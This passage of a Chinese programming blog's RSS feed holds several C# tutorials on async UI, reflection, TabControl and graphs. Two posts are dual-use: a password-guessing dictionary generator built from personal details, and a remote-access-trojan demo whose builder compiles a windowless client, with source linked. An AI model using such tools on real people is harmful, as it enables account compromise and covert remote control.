当点击Get Data Sync按钮的时候。操作和UI在同一个线程里，因此阻塞了UI线程。因此。UI线程会未响应&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;private void btnSync_Click(object sender, EventArgs e)
{
    this.Cursor = Cursors.WaitCursor;
    this.txtContents.Text = Utility.LoadData(upCount);
    this.Cursor = Cursors.Default;
}
&lt;/pre&gt; 
&lt;p&gt;&lt;strong&gt;异步调用&lt;/strong&gt;
使用委托（异步编程模型）&lt;/p&gt;</description>
    </item>
    <item>
      <title>利用反射转换对象list到csv</title>
      <link>http://blog.leaver.me/2013/02/02/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%B0%84%E8%BD%AC%E6%8D%A2%E5%AF%B9%E8%B1%A1list%E5%88%B0csv/</link>
      <pubDate>Sat, 02 Feb 2013 07:39:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/02/02/%E5%88%A9%E7%94%A8%E5%8F%8D%E5%B0%84%E8%BD%AC%E6%8D%A2%E5%AF%B9%E8%B1%A1list%E5%88%B0csv/</guid>
      <description>&lt;p&gt;扒自一工程。。可以学习一下.net中反射的简单用法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;      /// &amp;lt;summary&amp;gt;
        /// Take object List as input and export to csv which will be prompt save as dialog
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;typeparam name=&#34;T&#34;&amp;gt; Type of object&amp;lt;/typeparam&amp;gt;
        /// &amp;lt;param name=&#34;listToExport&#34;&amp;gt; Object list to export&amp;lt;/param&amp;gt;
        /// &amp;lt;param name=&#34;seperateChar&#34;&amp;gt; character to use as scv separator&amp;lt;/param&amp;gt;
        public static string ExportListToCSV&amp;lt;T&amp;gt;( List&amp;lt;T&amp;gt; listToExport, string seperateChar)
        {
            Int32 success = 0;
            StringBuilder export = new StringBuilder();
            try
            {
                string seperator = &#34;&#34; ;
                StringBuilder builder = new StringBuilder();

                //获取表头的
                PropertyInfo[] fieldInfo = listToExport[0].GetType().GetProperties();
                foreach (PropertyInfo col in fieldInfo)
                {
                    if (!col.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !col.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34; ))
                    {
                        builder.Append(seperator).Append(col.Name);
                        seperator = seperateChar;
                    }
                }
                export.AppendLine(builder.ToString());
                foreach (T dataItem in listToExport)
                {
                    PropertyInfo[] allProperties = dataItem.GetType().GetProperties();
                    seperator = &#34;&#34;;
                    StringBuilder builderTmp = new StringBuilder();
                    //真正求数据域的
                    foreach (PropertyInfo thisProperty in allProperties)
                    {
                        if (!thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34; ))
                        {
                            object value = thisProperty.GetValue(dataItem, null);
                            String propetyValue = (value == null ? String.Empty : value.ToString());
                            builderTmp.Append(seperator).Append(propetyValue);
                            seperator = seperateChar;
                        }
                    }
                    ++success;
                    export.AppendLine(builderTmp.ToString());
                }
            }
            catch (Exception ex)
            {
                throw ex;
            }
            return export.ToString();
        }&lt;/pre&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;if (!thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityKey&#34;) &amp;amp;&amp;amp; !thisProperty.PropertyType.FullName.Equals(&#34;System.Data.EntityState&#34;))&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 基础知识系列文章索引</title>
      <link>http://blog.leaver.me/2013/01/27/c%23-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E7%B3%BB%E5%88%97%E6%96%87%E7%AB%A0%E7%B4%A2%E5%BC%95/</link>
      <pubDate>Sun, 27 Jan 2013 20:50:08 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/27/c%23-%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E7%B3%BB%E5%88%97%E6%96%87%E7%AB%A0%E7%B4%A2%E5%BC%95/</guid>
      <description>&lt;p&gt;清理GR的加星标项目。分享来自博客园 &lt;a href=&#34;http://www.cnblogs.com/zhili&#34;&gt;zhili&lt;/a&gt; 的C#基础系列文章。&lt;/p&gt;
&lt;p&gt;C#基础知识系列终于告了一个段落了, 本系列中主要和大家介绍了C#1.0到C# 4.0中一些重要的特性，刚开始写这个专题的初衷主要是我觉得掌握了C#这些基础知识之后，对于其他任何的一门语言都是差不多的，这样可以提高朋友们对其他语言的掌握，以及可以让大家更加迅速地掌握.NET的新特性， 并且相信这个系列对于找工作的朋友也是很有帮助的，因为很多公司面试都很看重基础知识是否扎实，是否对C#有一个全面的认识和理解，所以很多公司面试都会问到一些C#基础概念的问题，例如，经常面试会问：你是如何理解委托的，如何理解匿名函数等问题。&lt;/p&gt;
&lt;p&gt;然而这个系列中并没有介绍COM互操作性的内容以及.Net 4.5中的一些新特性，所以后面将会对这两个方面的内容进行补充，由于这个系列托的太久了(大概也有3个月吧)，所以就先告一段落的，后面将会带来.NET互操作性系列的介绍。下面就为这个系列文章做一个索引，方便大家收藏和查找。&lt;/p&gt;
&lt;p&gt;C#基础知识系列索引&lt;/p&gt;
&lt;p&gt;C#1.0&lt;/p&gt;
&lt;p&gt;1. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/22/Delegate.html&#34;&gt;深入解析委托——C#中为什么要引入委托&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/25/DeepDelegate.html&#34;&gt;委托本质论&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;3. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/27/MulticastDelegate.html&#34;&gt;如何用委托包装多个方法——委托链&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;4. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/27/Event.html&#34;&gt;事件揭秘&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;5. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/10/29/ButtonClickEvent.html&#34;&gt;当点击按钮时触发Click事件背后发生的事情&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;C# 2.0&lt;/p&gt;
&lt;p&gt;6. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/03/GenericType.html&#34;&gt;泛型基础篇——为什么引入泛型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;7. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/08/Generic_1.html&#34;&gt;泛型深入理解(一)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;8. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/08/Generic_2.html&#34;&gt;泛型深入理解(二)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;9. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/12/GenericVari.html&#34;&gt;深入理解泛型可变性&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;10. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/11/23/Nullable.html&#34;&gt;全面解析可空类型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;11. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/01/anonymousmethod.html&#34;&gt;匿名方法解析&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;12. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/02/Interator.html&#34;&gt;迭代器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;C# 3.0&lt;/p&gt;
&lt;p&gt;13. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/11/basicfeatures.html&#34;&gt;全面解析对象集合初始化器、匿名类型和隐式类型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;14. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/12/LambdaExpression.html&#34;&gt;深入理解Lambda表达式&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;15. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/17/ExtensionMethod.html&#34;&gt;全面解析扩展方法&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;16. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2012/12/24/Linq.html&#34;&gt;Linq介绍&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;C# 4.0&lt;/p&gt;
&lt;p&gt;17. &lt;a href=&#34;http://www.cnblogs.com/zhili/archive/2013/01/07/DynamicType.html&#34;&gt;深入理解动态类型&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;从C#的所有特性可以看出,C#中提出的每个新特性都是建立在原来特性的基础上,并且是对原来特性的一个改进, 做这么多的改进主要是为了方便开发人员更好地使用C#来编写程序,是让我们写更少的代码来实现我们的程序,把一些额外的工作交给编译器去帮我们做,也就是很多人说微软很喜欢搞语法糖的意思(语法糖即让编译器帮我们做一些额外的事情，减少开发人员所考虑的事情，使开发人员放更多的精力放在系统的业务逻辑上面。)，大家从C# 3中提出的特性中可以很好的看出这点(指的是玩语法糖)，C#3中几乎大部分特性都是C#提供的语法糖，从CLR层面来说(指的是增加新的IL指令)，C# 3并没有更新什么，C# 4中提出的动态类型又是建立在表达式树的基础上，包括Linq也是建立在表达式树的基础上，所以每个特性都是层层递进的一个关系。相信C#后面提出的新特性将会更加方便我们开发程序，感觉所有语言的一个统一的思想都是——写更少的代码，却可以做更多的事情。但是我们不能仅仅停住于知道怎么使用它，我们还应该深入研究它的背后的故事，知道新特性是如何实现的和原理。用一句说就是——我们要知其然之气所以然，学习知识应该抱着刨根问底的态度去学习,&lt;strong&gt;相信这样的学习方式也可以让大家不感到心虚,写出的程序将会更加自信。&lt;/strong&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>社工字典生成工具</title>
      <link>http://blog.leaver.me/2013/01/21/%E7%A4%BE%E5%B7%A5%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7/</link>
      <pubDate>Mon, 21 Jan 2013 08:23:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/21/%E7%A4%BE%E5%B7%A5%E5%AD%97%E5%85%B8%E7%94%9F%E6%88%90%E5%B7%A5%E5%85%B7/</guid>
      <description>&lt;p&gt;在家无聊写了这个工具，主要是为了防止自己这一直写随笔把本行忘了。。也熟悉一下代码。。暂时不放源代码了。以后改的好一点再发吧。&lt;/p&gt;
&lt;p&gt;作者：bystander&lt;/p&gt;
&lt;p&gt;博客：http://leaver.me&lt;/p&gt;
&lt;p&gt;转载请注明出处！&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31971_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a46e1099507677947d020ad1fc0251a2fe9fca27.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31972_o.png&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/674f4d21632e17d90688202f0e06717fbeba54c8.png&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;涉及到的东西有：&lt;/p&gt;
&lt;p&gt;1.C#隐藏TabControl的header部分，前面的文章有介绍&lt;/p&gt;
&lt;p&gt;2.获取窗体全部的某一类控件（这个无聊的话抽象出一个通用的方法出来，以后就可以直接用了）&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;  /// &amp;lt;summary&amp;gt;
        /// 获取所有的文本框控件
        /// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name=&#34;control&#34;&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
        private List&amp;lt;TextBox&amp;gt; GetAllControls(Control control)
        {
            foreach (Control con in control.Controls)
            {
                if (con.Controls.Count &amp;gt; 0)
                {
                    GetAllControls(con);
                }
                else if (con is TextBox)
                {
                    tBoxList.Add(con as TextBox);
                }
            }
            return tBoxList;
        }&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;3.文件操作&lt;/p&gt;
&lt;p&gt;4.字符串操作&lt;/p&gt;
&lt;p&gt;反正很简单，主要就是写的时候思路要清晰。知道大部分使用密码的规则。处理一下生日格式。否则后面很麻烦。。相应的验证也比较少。界面依然毫无美感。。&lt;/p&gt;
&lt;p&gt;总结：&lt;/p&gt;
&lt;p&gt;现在发现在控件命名上越来越顺利了。自我感觉良好。后面慢慢的要开始尝试使用学到的一些新的技术点。。&lt;/p&gt;
&lt;p&gt;下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=244748&amp;amp;uk=1493685990&#34;&gt;社工字典生成工具&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#隐藏TabControl标签栏</title>
      <link>http://blog.leaver.me/2013/01/11/c%23%E9%9A%90%E8%97%8Ftabcontrol%E6%A0%87%E7%AD%BE%E6%A0%8F/</link>
      <pubDate>Fri, 11 Jan 2013 21:31:52 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/11/c%23%E9%9A%90%E8%97%8Ftabcontrol%E6%A0%87%E7%AD%BE%E6%A0%8F/</guid>
      <description>&lt;p&gt;今天考过了微软的那个70-562和70-536的考试。然后下午把软件体系结构的作业做了。然后看了一下栈溢出，我博客首页右侧的那个就是我的栈溢出id了。。&lt;/p&gt;
&lt;p&gt;然后就看到了这个问题。这个问题。我曾经遇到过。貌似大家知道比较多的是两种。第一种就是设置大小。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;tabControl1.SizeMode = TabSizeMode.Fixed;
tabControl1.ItemSize = new Size(0, 1);&lt;/pre&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31378_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/3070c473ca2d01dd23741af3e13d2f4328b9d89d.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;但是这样你注意看的话，左上角有个小的瑕疵。这个没办法的。。还有一种比较低级但还算有效的方法就是在设计的时候将TabControl向上移动。运行以后就会遮住了。&lt;/p&gt;
&lt;p&gt;我当时不过取巧了。好像就用的第二种。。今天看到这个题目的时候，就做了下标记。刚才去看。大牛已经给出答案了。就是自己继承一个TabControl控件。重写&lt;/p&gt;
&lt;pre&gt;void WndProc(ref Message m)&lt;/pre&gt;
&lt;p&gt;方法，在方法里拦截系统消息。&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Windows.Forms;

class TablessControl : TabControl {
  protected override void WndProc(ref Message m) {
    // Hide tabs by trapping the TCM_ADJUSTRECT message
    if (m.Msg == 0x1328 &amp;amp;&amp;amp; !DesignMode) m.Result = (IntPtr)1;
    else base.WndProc(ref m);
  }
}&lt;/pre&gt;
&lt;p&gt;具体用法。就是在你的项目里新建一个类文件。然后把上面的代码拷进去。然后编译一下。就会在工具箱里多出一个TablessControl控件。拖进来即可使用。当然你也可以自定义一个用户控件。都不是事。这个控件设计时标签页可见。运行时由于拦截了信息消息。标签栏就不可见了。堪称完美。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>图的遍历(C#)</title>
      <link>http://blog.leaver.me/2013/01/06/%E5%9B%BE%E7%9A%84%E9%81%8D%E5%8E%86c/</link>
      <pubDate>Sun, 06 Jan 2013 16:35:45 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/06/%E5%9B%BE%E7%9A%84%E9%81%8D%E5%8E%86c/</guid>
      <description>&lt;p&gt;讲的非常好的一篇文章。感谢&lt;a href=&#34;http://www.cnblogs.com/abatei/archive/2008/06/06/1215114.html&#34;&gt;abatei&lt;/a&gt;，直接收藏分享之。&lt;/p&gt;
&lt;h2 id=&#34;图的存储结构&#34;&gt;图的存储结构&lt;/h2&gt;
&lt;p&gt;图的存储结构除了要存储图中各个顶点的本身的信息外，同时还要存储顶点与顶点之间的所有关系（边的信息），因此，图的结构比较复杂，很难以数据元素在存储区中的物理位置来表示元素之间的关系，但也正是由于其任意的特性，故物理表示方法很多。常用的图的存储结构有邻接矩阵、邻接表、十字链表和邻接多重表。&lt;/p&gt;
&lt;h3 id=&#34;821邻接矩阵表示法&#34;&gt;8.2.1  邻接矩阵表示法&lt;/h3&gt;
&lt;p&gt;对于一个具有n个顶点的图，可以使用n*n的矩阵（二维数组）来表示它们间的邻接关系。图8.10和图8.11中，矩阵A(i，j)=1表示图中存在一条边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)，而A(i，j)=0表示图中不存在边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)。实际编程时，当图为不带权图时，可以在二维数组中存放bool值，A(i，j)=true表示存在边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)，A(i，j)=false表示不存在边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)；当图带权值时，则可以直接在二维数组中存放权值，A(i，j)=null表示不存在边(V&lt;sub&gt;i&lt;/sub&gt;，V&lt;sub&gt;j&lt;/sub&gt;)。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31196_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/34232ee6d725c72cdc277e3b5146680671171e7f.jpg&#34;&gt;&lt;/a&gt;
图8.10所示的是无向图的邻接矩阵表示法，可以观察到，矩阵延对角线对称，即A(i，j)= A(j，i)。无向图邻接矩阵的第i行或第i列非零元素的个数其实就是第i个顶点的度。这表示无向图邻接矩阵存在一定的数据冗余。&lt;/p&gt;
&lt;p&gt;图8.11所示的是有向图邻接矩阵表示法，矩阵并不延对角线对称，A(i，j)=1表示顶点V&lt;sub&gt;i&lt;/sub&gt;邻接到顶点V&lt;sub&gt;j&lt;/sub&gt;；A(j，i)=1则表示顶点V&lt;sub&gt;i&lt;/sub&gt;邻接自顶点V&lt;sub&gt;j&lt;/sub&gt;。两者并不象无向图邻接矩阵那样表示相同的意思。有向图邻接矩阵的第i行非零元素的个数其实就是第i个顶点的出度，而第i列非零元素的个数是第i个顶点的入度，即第i个顶点的度是第i行和第i列非零元素个数之和。&lt;/p&gt;
&lt;p&gt;由于存在n个顶点的图需要n&lt;sup&gt;2&lt;/sup&gt;个数组元素进行存储，当图为稀疏图时，使用邻接矩阵存储方法将出现大量零元素，照成极大地空间浪费，这时应该使用邻接表表示法存储图中的数据。&lt;/p&gt;
&lt;h3 id=&#34;822邻接表表示法&#34;&gt;8.2.2 邻接表表示法&lt;/h3&gt;
&lt;p&gt;图的邻接矩阵存储方法跟树的孩子链表示法相类似，是一种顺序分配和链式分配相结合的存储结构。邻接表由表头结点和表结点两部分组成，其中图中每个顶点均对应一个存储在数组中的表头结点。如这个表头结点所对应的顶点存在相邻顶点，则把相邻顶点依次存放于表头结点所指向的单向链表中。如图8.12所示，表结点存放的是邻接顶点在数组中的索引。对于无向图来说，使用邻接表进行存储也会出现数据冗余，表头结点A所指链表中存在一个指向C的表结点的同时，表头结点C所指链表也会存在一个指向A的表结点。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31197_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/e6366b11df17b7aee6ddd118de3c84bb1c760c37.jpg&#34;&gt;&lt;/a&gt;
有向图的邻接表有出边表和入边表（又称逆邻接表）之分。出边表的表结点存放的是从表头结点出发的有向边所指的尾顶点；入边表的表结点存放的则是指向表头结点的某个头顶点。如图8.13所示，图(b)和(c)分别为有向图(a)的出边表和入边表。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31198_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/847e7b120ab02fcb88556adaa762a4098e7ba831.jpg&#34;&gt;&lt;/a&gt;
以上所讨论的邻接表所表示的都是不带权的图，如果要表示带权图，可以在表结点中增加一个存放权的字段，其效果如图8.14所示。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31199_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/a78cf3f8419a98ca2cede25716595c14a30ae2d3.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;【注意】：观察图8.14可以发现，当删除存储表头结点的数组中的某一元素，有可能使部分表头结点索引号的改变，从而导致大面积修改表结点的情况发生。可以在表结点中直接存放指向表头结点的指针以解决这个问题（在链表中存放类实例即是存放指针，但必须要保证表头结点是类而不是结构体）。在实际创建邻接表时，甚至可以使用链表代替数组存放表头结点或使用顺序表存代替链表存放表结点。对所学的数据结构知识应当根据实际情况及所使用语言的特点灵活应用，切不可生搬硬套。&lt;/p&gt;
&lt;p&gt;【例8-1  AdjacencyList.cs】图的邻接表存储结构&lt;/p&gt;
&lt;div&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;using System;
using System.Collections.Generic;
public class AdjacencyList&amp;lt;T&amp;gt;
{
    List&amp;lt;Vertex&amp;lt;T&amp;gt;&amp;gt; items; //图的顶点集合
    public AdjacencyList() : this(10) { } //构造方法
    public AdjacencyList(int capacity) //指定容量的构造方法
    {
        items = new List&amp;lt;Vertex&amp;lt;T&amp;gt;&amp;gt;(capacity);
    }
    public void AddVertex(T item) //添加一个顶点
    {   //不允许插入重复值
        if (Contains(item))
        {
            throw new ArgumentException(&#34;插入了重复顶点！&#34;);
        }
        items.Add(new Vertex&amp;lt;T&amp;gt;(item));
    }
    public void AddEdge(T from, T to) //添加无向边
    {
        Vertex&amp;lt;T&amp;gt; fromVer = Find(from); //找到起始顶点
        if (fromVer == null)
        {
            throw new ArgumentException(&#34;头顶点并不存在！&#34;);
        }
        Vertex&amp;lt;T&amp;gt; toVer = Find(to); //找到结束顶点
        if (toVer == null)
        {
            throw new ArgumentException(&#34;尾顶点并不存在！&#34;);
        }
        //无向边的两个顶点都需记录边信息
        AddDirectedEdge(fromVer, toVer);
        AddDirectedEdge(toVer, fromVer);
    }
    public bool Contains(T item) //查找图中是否包含某项
    {
        foreach (Vertex&amp;lt;T&amp;gt; v in items)
        {
            if (v.data.Equals(item))
            {
                return true;
            }
        }
        return false;
    }
    private Vertex&amp;lt;T&amp;gt; Find(T item) //查找指定项并返回
    {
        foreach (Vertex&amp;lt;T&amp;gt; v in items)
        {
            if (v.data.Equals(item))
            {
                return v;
            }
        }
        return null;
    }
    //添加有向边
    private void AddDirectedEdge(Vertex&amp;lt;T&amp;gt; fromVer, Vertex&amp;lt;T&amp;gt; toVer)
    {
        if (fromVer.firstEdge == null) //无邻接点时
        {
            fromVer.firstEdge = new Node(toVer);
        }
        else
        {
            Node tmp, node = fromVer.firstEdge;
            do
            {   //检查是否添加了重复边
                if (node.adjvex.data.Equals(toVer.data))
                {
                    throw new ArgumentException(&#34;添加了重复的边！&#34;);
                }
                tmp = node;
                node = node.next;
            } while (node != null);
            tmp.next = new Node(toVer); //添加到链表未尾
        }
    }
    public override string ToString() //仅用于测试
    {   //打印每个节点和它的邻接点
        string s = string.Empty;
        foreach (Vertex&amp;lt;T&amp;gt; v in items)
        {
            s += v.data.ToString() + &#34;:&#34;;
            if (v.firstEdge != null)
            {
                Node tmp = v.firstEdge;
                while (tmp != null)
                {
                    s += tmp.adjvex.data.ToString();
                    tmp = tmp.next;
                }
            }
            s += &#34;\r\n&#34;;
        }
        return s;
    }
    //嵌套类，表示链表中的表结点
    public class Node
    {
        public Vertex&amp;lt;T&amp;gt; adjvex; //邻接点域
        public Node next; //下一个邻接点指针域
        public Node(Vertex&amp;lt;T&amp;gt; value)
        {
            adjvex = value;
        }
    }
    //嵌套类，表示存放于数组中的表头结点
    public class Vertex&amp;lt;TValue&amp;gt;
    {
        public TValue data; //数据
        public Node firstEdge; //邻接点链表头指针
        public Boolean visited; //访问标志,遍历时使用
        public Vertex(TValue value) //构造方法
        {
            data = value;
        }
    }
}&lt;/pre&gt;
&lt;/div&gt;
AdjacencyList&amp;lt;T&amp;gt;类使用泛型实现了图的邻接表存储结构。它包含两个内部类，Vertex&amp;lt;Tvalue&amp;gt;类（109～118行代码）用于表示一个表头结点，Node类（99～107）则用于表示表结点，其中存放着邻接点信息，用来表示表头结点的某条边。多个Node用next指针相连形成一个单链表，表头指针为Vertex类的firstEdge成员，表头结点所代表的顶点的所有边的信息均包含在链表内，其结构如图8.12所示。所不同之处在于：
&lt;p&gt;l         Vertex类中包含了一个visited成员，它的作用是在图遍历时标识当前节点是否被访问过，这一点在稍后会讲到。&lt;/p&gt;</description>
    </item>
    <item>
      <title>远程管理Demo(C#)</title>
      <link>http://blog.leaver.me/2013/01/04/%E8%BF%9C%E7%A8%8B%E7%AE%A1%E7%90%86democ/</link>
      <pubDate>Fri, 04 Jan 2013 15:18:06 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/01/04/%E8%BF%9C%E7%A8%8B%E7%AE%A1%E7%90%86democ/</guid>
      <description>&lt;p&gt;一个C#的通信的例子&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/31142_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/8a608877e1ae0aef14d26fea8260f247bbb7ee33.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1.服务端，服务端通过ip和端口生成客户端之后，点击开始监听后，便开启监听线程持续监听，同时注册断开连接和收到信息的事件。收到来自TcpClient 流中的信息后，解析之，如果是连接信息，就添加到连接列表，这样服务端就可以显示多个客户端了。如果是断开信息，就删掉。如果服务端想要给客户端发消息，就选中该客户，然后填写信息，就会调用连接类的发送方法。&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;2.客户端，也就是被控端，被控端通过tcp连接到远端ip，然后发送连接成功状态，随后异步读取。读取到信息后调用解析方式。然后处理。。&lt;/p&gt;
&lt;p&gt;3.服务端如何生成客户端。其实也比较简单。就是写好客户端以后，保存为文本。然后通过CodeDomProvider的相关方法来编译即可。代码如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt; public static bool Compile(string EXE_Name, string Source)
        {
            CodeDomProvider Compiler = CodeDomProvider.CreateProvider(&#34;CSharp&#34;);
            CompilerParameters Parameters = new CompilerParameters();
            CompilerResults cResults = default(CompilerResults);

            Parameters.GenerateExecutable = true;
            Parameters.OutputAssembly = EXE_Name;
            Parameters.ReferencedAssemblies.Add(&#34;System.dll&#34;);
            Parameters.CompilerOptions = &#34; /target:winexe&#34;;
            Parameters.TreatWarningsAsErrors = false;

            cResults = Compiler.CompileAssemblyFromSource(Parameters, Source);

            if (cResults.Errors.Count &amp;gt; 0)
            {
                foreach (CompilerError CompilerError_loopVariable in cResults.Errors)
                {
                    CompilerError error = CompilerError_loopVariable;
                    MessageBox.Show(&#34;Error: &#34; + error.ErrorText, &#34;&#34;, MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;
            }
            else if (cResults.Errors.Count == 0)
            {
                return true;
            }
            return true;
        }&lt;/pre&gt;
&lt;p&gt;源码下载：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=223714&amp;amp;uk=1493685990&#34;&gt;CSharp RAT Example.zip&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Lambda高手之路第六部分</title>
      <link>http://blog.leaver.me/2012/12/28/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%85%AD%E9%83%A8%E5%88%86/</link>
      <pubDate>Fri, 28 Dec 2012 14:24:35 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/12/28/lambda%E9%AB%98%E6%89%8B%E4%B9%8B%E8%B7%AF%E7%AC%AC%E5%85%AD%E9%83%A8%E5%88%86/</guid>
      <description>&lt;p&gt;今天武汉地铁通车了，今天介绍一些新的Lambda设计模式，应该是最后一部分了。&lt;/p&gt;
&lt;p&gt;本节介绍一些核心有lambda表达式的模式，我不认为他们完全是新的模式，但是至少我还没有看到有人给他们起过名字，我于是决定尝试取个可能好，也可能不好的名字，这样我起码能很容易的给别人描述，有话在先，许多模式相当强大，但是可能会引入潜在的bug，所以小心为上&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;复杂的多态&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Lambda表达式也可以被用来创建一些多态（override），而不用使用abstract或者virtual关键字（当然这并不意味着就不能用），考虑如下的代码片段&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyBaseClass
{
	public Action SomeAction { get; protected set; }

	public MyBaseClass()
	{
		SomeAction = () =&amp;gt; {
			//Do something!
		};
	}
}&lt;/pre&gt; 
&lt;p&gt;看起来没什么新的知识，我们创建一个类，里面有一个属性（一个lambda表达式），又一次JavaScript化了，有趣的地方是：属性暴露的这个部分不只是本类可以改变，子类也可以改变，看代码&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;class MyInheritedClass : MyBaseClass
{
	public MyInheritedClass
	{
		SomeAction = () =&amp;gt; {
			//Do something different!
		};
	}
}
&lt;/pre&gt; 
